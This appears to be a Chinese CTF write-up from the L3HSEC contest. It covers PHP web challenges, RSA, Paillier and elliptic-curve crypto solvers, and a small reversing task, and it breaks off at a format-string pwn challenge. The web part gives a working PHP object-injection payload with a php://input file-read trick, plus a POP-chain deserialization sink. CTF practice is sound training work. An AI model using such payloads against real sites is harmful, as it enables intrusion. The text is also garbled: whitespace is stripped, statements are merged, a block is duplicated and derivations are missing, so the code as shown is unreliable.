<?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the l3hsec_ctf")){echo"<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo"Not now!";exit();}else{include($file);//useless.php$password=unserialize($password);echo$password;}}else{highlight_file(__FILE__);}?>
<?phpclassFlag{//flag.php public$file;publicfunction__tostring(){if(isset($this->file)){echofile_get_contents($this->file);echo"<br>";return("U R SO CLOSE !///COME ON PLZ");}}}?>
因此只需要讓file=flag.php,然后把序列化的對象作為password的值輸入即可
<?phpclassFlag{//flag.php public$file="flag.php";publicfunction__tostring(){if(isset($this->file)){echofile_get_contents($this->file);echo"<br>";return("U R SO CLOSE !///COME ON PLZ");}}}$flag=newFlag();echo($flag);?>
最終的payload: text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} POST DATA:welcome to the l3hsec_ctf 查看源碼得到flag
Easyphp_plus
掃描目錄,發現source.php
<?phperror_reporting(E_ALL||~E_NOTICE);$text=$_GET["text"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the l3hsec_ctf")){echo"we meet again !";echo"<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo"Not now!";exit();}else{echo"next part!<br>";if(strcmp($_POST['str1'],$_POST['str2'])==0&&$_POST['str1']!=$_POST['str2']){echo"clever guy!<br>";echo"now go to final part!<br>";if((string)$_POST['final_str1']!==(string)$_POST['final_str2']&&md5($_POST['final_str1'])===md5($_POST['final_str2'])){echo"u are really clever !";$file=$_GET["file"];include($file);//really_useless.php}}}}else{highlight_file(__FILE__);}
class Test
{public $p;public function trick(){echo "wrong!";}public function __construct(){$this->p = $this->trick();}public function __get($key){$function = $this->p;return $function();}
}class Attention
{protected $var;public function include_file($value){include($value);}public function __invoke(){$this->include_file($this->var);}
}class Show_str
{public $path;public $str;public function __wakeup(){if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->path)) {echo "no way!";$this->path = "index.php";}}public function __construct($file = 'index.php'){$this->path = $file;echo 'Welcome to ' . $this->path . "<br>";}public function __toString(){return $this->str->path;}}if (isset($_POST['pop_chain'])) {@unserialize($_POST['pop_chain']);
}
from Crypto.Util.number import*from gmpy2 import*
b =4189473361699107217737455396325088183647459520762101844169276157097419075741053441908981220101313628265591679932243646157798614301613216353417792680603839858901174261567329713633368998538198056432420816170813002537470510824573399752841629555419679351092677995791781611216455311460445828456846800858725856162256100067573160931447899995435540614262179047903010321235756321175798141083436561191248808099344601597758766820841247581087589633697583254347697761793900573665246657473720690746138551714675250189501879568866675887888686723079957824448238872953452272361956750464846476924307112817686274952080706114911155289034
n =30170308825909440240941693170939367334844821029782821583570286983621317423766747822577757211569710529434922653573394476313387108250546033911130407881340763005349634115809559639000580648954090023789960388140320537310747484117427519820928316981758092673239883392417557736050921582197605939646396980954720533323414256630686099446261753358351411238396130783891149857357027291221573230409509048705778418933333222633966392788758816068035934002821259179676663605591341303639187677648104559149755696406916456100816247187169100673215113617431212731694921337661569998483380390854882572497881679266213674621353132753251285674879
c =19661634891727868222099095136901659122829263085237461320517222981876652326584941755935506785466085397036381223656214442840957349568180244494668190067815213431417256096310086121818289755995699360954357693424193788225178162274067850236827814176875911714566055084460381321125690331794418319416858945534037236453043872268977446605497332255455791777458776451967443335677366617943606110582961257994038716809851649891403946938458466692396540759794689041919886188803459600803037044031173965809992390886542083555310737152473443561114918788410017103228518549269127033118974044150781161071975706470208883873841803874769550571522
c0= getPrime(384)print(c0)
M = Matrix([[c0,c,0],[0, n,0],[0,b,1]])
c0,r,m=M.LLL()[0]print(abs(c0))print(abs(r))print(abs(m))
m=635792580719987487237521719205940515395485350520512925835933137041624512543082883368059187508605print(long_to_bytes(m))#L3HSEC{5b820f48d1343d31363cc0dac13f6a45}
Enumerate
根據題目觀察到,dp的范圍很小,可以枚舉dp,利用dp的方式推導如下:
得到p后常規方式解密即可,因此exp如下:
import gmpy2
from tqdm import tqdm
from Crypto.Util.number import*e =9740781703255167949548123833848215149877626495081674933142965833082481258763865707394139077323296213902576949525913789361227955594348739778431568575200626895877575505323576444925031191752727771006703809829661370655525453928637863429255767149436602506308217376851087219374068619428331249987945029230645195675365532084992172677730849508489796968035620029349007985088753700265630944472728606629666980931589653596536113250131391348183113731287183970926226775901059693777416386060232254013038521518675853176199355416657186428116869781176129682611345114490715380905522488854076217805953516080743984818977772510583599165735839947549121286248871957626787616620758307637455779386102223263163159704189933161215617684365136652215048721464423890172392837117499545210952758632649460511770369227301511754763524945623877479483272848832957727752908537766989174534584178325252590507812487070473324909694680145939059475164290107680204220843
n =11357659237666674240934225650391720822390721411452960439881947096105621174907351048346074927045069888978545428551201151720025746283825826680089265987635245602830278152775526322284079045425029614153114122274852867020863183564566383266771779753113268775452055147839364280217785501763602013410444043430296433087648490237502969276137406959871089025763302898032365525302466212940057329970006464665158381696891629915747198606169376463888484997648951753716250228670296683149437147468190405098264714157319310013875051869172049772174474421632876993462750616436198655419004432906183104359396291098129598907614245732147810886674660972882945098621568901552565568789643050245058975004065076083918362123951478516142404319720427704877611945660779061188295887840206292880785654832673219313976166018329236350345410958364451116766528032072551273749780134377286501549470464581380266571495326862431452362532393190442596165340428148379457549853
c =1131977991988855066836892559519102207408389404589146139755618624579609057043505264198231412434810590033448922113978363490216414481634255152515339530378094931124211926205934960308171369849646157354571769943343892303056766595323897957933529009255763771136887899951354696979354358287194937861107926637351718834851868538485277199969096361570170668230845028674639022656371805283155005125382578519862624232820526466122735438576704510740565677790504486181307338390152665031018372392185896360680634433567740175635802241889019357079063737919124911215414577755467068028318581704439240642134533337632917147914689118763552596456783600957736581898954687392934717182573492836069212047607447109589346717662253654983985776731863661502199327024116991484495789879610980113057721444254373434771811794021887841371612297493485477292587673302680012021201748037361650835964264374321655771163859216207663133566121792757560084636452186401825189222
N = gmpy2.mpz(n)
E = gmpy2.mpz(e)
C = gmpy2.mpz(c)
m =1000000007
sp = gmpy2.powmod(m, e, N)for dp in tqdm(range(1,2**24)):p = gmpy2.gcd(gmpy2.powmod(sp, dp, N)- m, N)if(p !=1):print(p)break
p =10908066707177146155904250318930229417482273071398885295926728094305127359974260239186202297547236800858997957266511471068768263205127603236179680718768696952960183605175357400195059272632703121592370484512734828603038877452481864196442331534258474372145057809104614707943592508823488426161331793579065117253
P = gmpy2.mpz(p)
q2 = N//P
q = gmpy2.iroot(q2,2)[0]print(q)
D = gmpy2.invert(E,(q -1)* q *(p-1))
M = gmpy2.powmod(C, D, N)print(long_to_bytes(M))
最后得到flag:L3HSEC{e45a97feae04d7f0dcd7755694c09cc0}
factor1
已知e、d、n求p、q,算法證明如下: 故exp如下:
from Crypto.Util.number import*import gmpy2
import random
n =780491159925374078079694766172000112950674266127159263270904266398457665489354488598985941459209996685747761696777261230244236610716395558987373054967279280159580287538529727244218639449643929440865261610239602189450389207521041946919358523747975699917497871075699552393581503787516690113483532766199910971787868995714516467423433538247037790983728676059295803524400509301044135187330649580649701407044241781143533230324291243220825066967574348343353624065465087675047146386017470164891254218722752572488498240694199913603131490703180540048971402063303991580464615594734567990113147243077450666339795682517203172570876220775446186236450127617733559900806705499120489254188977149657296512187018967198020650948891695638805889187309932139521044745682261094834856259036813808181896607991255604746298933463668645117545004072621788455138197000330901630155082520569312093628925418370636159398049007329481747978596918008442791298688187139258866198132191837822471839643273442018433390971982814642749608613805109743747313588832557028300817214342192313987931035043475884455221933854613667004304141650468718022743012236173327841920034753252453775123951583991969794858384056834905390640209954651686519896265355772982051671379676757359575060742723
x =20411848151378778016021803257438162337639089296187764247925600674104035552981977642978371218318611568638490506396339780498058301852395770360071122379698196812117948321508424934068797092140436657845682361810053840168055524473477202168213775670997378732040111468862939212556900197363131996311741573746990904411115715872661489100086033760275739668800190137913167573970033993514666751741226260035785329166334734757191558717651333225113959727871479658906094705774208360281497238533503105609682480071403252741426708436390865708907888117032825241389494475425886504319130195431793037445260242623713145210314584241783174172747
c =517437151614395774387934943212894827067328552331077589669043762423544310921356670216891443155584342926711113867553500472357535252808031682503510895829490773147392607043697244218561563739743114702355943455565405905417116942187606904090237019476603953433668816891848300281327453830871126385209424075838535538623254412298984796500478823593325893555498501563168013679241209030186498185297427186554402590002275699484261269709992031426037140540498839177355106593456865036241923942917669397198866986022864334545984739400097593415485834943750798676683727753480955318814185133341123525440706890929292281015288040042731291601924151890223448530581203669896774463659269512047333068238428853293932576322075444262051216411258458292023225031204970362270649057726281284601625783197675852595671412747443260513971581699862845237699332242005839575745947303852385431216201241930220626144968322663681338897810888243583899676882893601271624301966607787966390924785266958954787097563994306672053350780074888418831475872549371164112472990483830948421605126478428372400039240280417434171996117288261657858789757782308315872826687094337842469282706662480473882262395476466905923042513044547589058272453266351579995009973913777804682276848830094685543948594943
kphi = n*x -1defgetpq(n,e,d):whileTrue:k = e * d -1g = random.randint(0, n)while k%2==0:k=k//2temp=gmpy2.powmod(g,k,n)-1if gmpy2.gcd(temp,n)>1and temp!=0:return gmpy2.gcd(temp,n)
fac1 = getpq(n,n,x)#pq
fac2 = n//fac1 #p^2
p= gmpy2.iroot(fac2,2)[0]
q = fac1//p
e =0x10001
d = inverse(e,pow(p,2)*(p-1)*(q-1))
m =pow(c, d, n)print(long_to_bytes(m))
得到flag:L3HSEC{ece13b084c54fe6b1e8e65e213e67ec7}
factor2
接下來由399.pdf (iacr.org) 的部分結論 得到:
a的大小能夠先計算出來,而x的大小可以用copper-smith算法求得(圖源):
故exp如下:
from Crypto.Util.number import*import gmpy2,hashlib
# sagemath
c =64348560778210035485799671390154695897453592495407073065506104275617393737946246692622951028425078089778024895362893050850450470916956316819587441719985900367828161351188490093123567264735778073437159834204089867077987956939775879953564294829553161064997967332581428673347982657437106382140809532325583705612
N =1078539747919673853919411204899228458878633778262324459385355713547566400004697903143330733969460010964398164028359499880899877828002215794175086743848297049288335697358143839723719222579706965442134154325889887674023840975769329825236531811285711766133187639497583153819957992824026123680262593318303379138225078268891436748091757857603215315962019382381765076316901889216313808782503539248571640394389007482110017169252023994063210033365778681157210401434951579215165060975359306095159714917332816715649519729877273253846247285046471178485525863453986133031276931316829008726108819000563789319413166779681161986401205940637150305118565905215777131019985357664705108010875158854683168085163002091159684306358744358777540257830877172397351494204783426969363655396993615748602920419791070799044268664971577463432327953343062973486069419816472941434309710007779740116747587858432558104082669671984047964456830876875541717006339
e1 =559147556710870967152736763021253558035580508696715241651085899110170858881432001991300403655368510400761899365466999902402340069800653268981599333175020503773490940620023403052013452083038161581725192457329104566393575541090603145652823629859833945114984160010248317499867341549554557763084136841210113299448578404652675609039996313385053372863174211224353291169563464103565740587064837549134155520904845421447974116498694893094841467418344681252560945914252173708682940993710868173242625840633222001873907486791968090037854085606329477339793562636375532934681663222430175247233404379910746963929875234006959799252491831321148495329132557398814730196262395338356058212655307239751393451886761936177607021228945200257522315975354755715426336651910772499613226636071592463946305758874388403964335933812656037104788601811395942384577129926237110009954635975292118494226469146239832309237338972246345667464131095112354129424923
e2 =184913331005658981413860627187724764115450270160234476671196285425093281141286141663637211483658566771223583127974895155580959434458085915781983791773036811496260126835859427231977289002809122452792252735892425752782624552058821572533274672550457033380029604401037863530125687191345879813341810855133665260614657339594421397678065507044776241168822131895054665081000651078616961235733580528753120435627071612259406536893675916118594179986988895048136713596913923856391426754274273067536919043273532453310646294138027855669891428145024027693565201665768447983425793779957101096313895681570865564145995084987335722177704185643085354735810704707921213622403116694916492986431102717619649567390642729559098846715054129674856021858993927148109961825287423881475496664658264576213335217347578857676593778280473024731290373873709198694435757416317195947118090084708407952592268222792565652148918136760497897617149042261344439096843
e =0x10001# r = 5# a = (e2 - e1) * gmpy2.invert(e1*e2,N) % N## # assert a < N# P.<x> = PolynomialRing(Zmod(N))# f = x - a# x = f.small_roots(X = 2^1000,beta = 0.4)# x = x[0]# k_phi = e1*e2*x - (e2 - e1)# p_ = gcd(k_phi,N)## p = gmpy2.iroot(int(p_),r - 1)[0]# print(p)# q = N // (p**r)# print(q)# python 得到pq填進來
p =10134252723158601275003401522062911941019213178377309828899216057830309479124971513229375798244460254309472951083952534414181570421639637062378074545198567
q =10089682575064609822335162261808299507782354278526589188667180497420394623894782442835864203666572501413895127989042146506692875908676883121823556370595877
n = p*q
print(n)print(N)
phi_n =(p -1)*(q -1)
d = gmpy2.invert(e,phi_n)# # print(n)
m =pow(c,d,n)print(m)#pythonprint(long_to_bytes(m))
from Crypto.Util.number import*import gmpy2, hashlib
n =22889982902417034800127488615522188269161335611128463175153634895761490768123310672181751076395496184287173971404460091604335144824937803268739072522772160429129114533289466803329478478610768475259393484505796849105644413094592553931614430108309044763123253519039288636875662172527111175175504306433174562237342839974296015394507497064555838288513379826263041151256818682477662822883279390498732000378420631353274173497837036168507421039979553165402819147514403204718848808453925691188944881096556885227979301201958233825246300664680118714644725554763486058397565152855367885599037125097745700481608993746107199627361
g =118512866713154684097758336076373272543604752247794247908195648184919283682465530594891138891242684408084813526269774836670746989713370905399929806878522988087894384549545727992095909179831937754821845237920552212448799864376452076230461633904068132380583549598486236346126066975066934707087357849706146422147
c =402524615762464185322455964035678210271457645602741560700582804752346599476498485026171991644294426385449028303574466019965686278702934894021473624944901863078297347332434973194039256807731669138981245077336640990683139297446590177651688152206448227106739329391062183361166138659760958729437820978456565716582305241824155953785721088851961931702879836093635562515028625948889311130859119813486196205285371730679712227648556969822704053786004710285672794458112688297050851763331831786845133375228109899988733704488782428539375612492786095275725996229472538667063558446434890133230910107142161123924664473346858515868643473427879055110282365504144398591653082374805652547946769077359931833316147574314879719465805993289685341805705647599026757217037493441645667371806974466089647718145307911929008326852983748926680196218859689651972158406550489043923558002502299464805906205611788368536685662616409590334321418140395436132634719654890284668919174632001808239783736307689420626212762848237559302065640364611175532179849324304655361158071958027432185229884042563808671418150254297767374072836634154198628640949231200723239112340625851821639701905671759867153360325799723130341048416432354977547089690117923609834416703444693132209529702# yafu yafu-x64.exe factor() fermat for p q is very similar
p =151294358461963262988027062664746340597825185400942596530521035619139580838355869444379552492926050987785943765937009253180705713321442021504499661324496772688914986902559692441162301620292364258419761021554052935410402342695504034752551291048950379208931239612446816776570292261456498267930751158600739489871
q =151294358461963262988027062664746340597825185400942596530521035619139580838355869444379552492926050987785943765937009253180705713321442021504499661324496772688914986902559692441162301620292364258419761021554052935410402342695504034638359897173265608351983200085033580050324339561151797892420042387509176922191defdec(n, g, LAMBDA, c):L1 =(pow(c, LAMBDA, n **2)-1)// nL2 =(pow(g, LAMBDA, n **2)-1)// nm =(gmpy2.invert(L2, n)* L1)% nreturn m
LAMBDA = gmpy2.lcm(p -1, q -1)print(long_to_bytes(dec(n,g,LAMBDA,c)))
# P=(xG,yG) Q=Public_key
P =(61621803131408319635029766825719907867842946540104700557009765261727264962796229094568,90378017679706887143409145158264522897855153307452350004018644435133535912241818885072)
Q =(310437823810844905448242773133403586337899801305811045192960893487704024383375218773605,304988667194749192663091131350248651649623530747853134775926969946385963577679155080700)
F = FiniteField(M)
E = EllipticCurve(F,[A,B])
P = E.point(P)
Q = E.point(Q)
M =321926610273616650525824108536700279212350866647530622269302809271682737763257560088641
A =31030867082543847272019450082250517880295729931851175197103022808416739451723625980005
B =142049469222136951075696377209080640921370274261432456129295338173419592979392060338227
P =(61621803131408319635029766825719907867842946540104700557009765261727264962796229094568,90378017679706887143409145158264522897855153307452350004018644435133535912241818885072)
Q =(310437823810844905448242773133403586337899801305811045192960893487704024383375218773605,304988667194749192663091131350248651649623530747853134775926969946385963577679155080700)x, y = P[0], P[1]
b =(y^2- x^3- A*x)% M
#print(b)F = FiniteField(M)
E = EllipticCurve(F,[A,B])
P = E.point(P)
Q = E.point(Q)print(factor(P.order()))
factors, exponents =zip(*factor(P.order()))
primes =[factors[i]^ exponents[i]for i inrange(len(factors))][:-2]
dlogs =[]for fac in primes:t =int(P.order())//int(fac)dlog = discrete_log(t*Q,t*P,operation="+")dlogs +=[dlog]print("factor: "+str(fac)+", Discrete Log: "+str(dlog))#calculates discrete logarithm for each prime orderl = crt(dlogs,primes)print(l)#8314044453310529150
data =[0x6D,0x55,0x6B,0x77,0x62,0x61,0x9A,0x62,0x59,0x89,0x90,0x7B,0x9A,0x8D,0x62,0x80,0x80,0x89,0x92,0x99,0x91,0x97,0x96,0x90,0x4E,0x99,0x5D,0x62,0x8C,0x8E,0x7E,0x81]flag=""for i inrange(len(data)):flag+=chr((data[i]^i)-33)print(flag)
運行一下,輸入name和nickname,然后會讓你選擇兩輛車中的一輛,擁有不同的數值,分別在Speed和Handling有優勢,根據選擇的比賽形式選擇車,比如highway選擇speed數值大的,Circuit選擇Handling數值大的,就能夠獲勝,獲勝后會讓你發表獲獎感言,然后會回顯獲獎感言,而且根據提示“he grand winner of the race wants the whole world to know this”猜想是格式化字符串泄露內存,ida打開看一下,根據字符串找到獲獎感言的位置: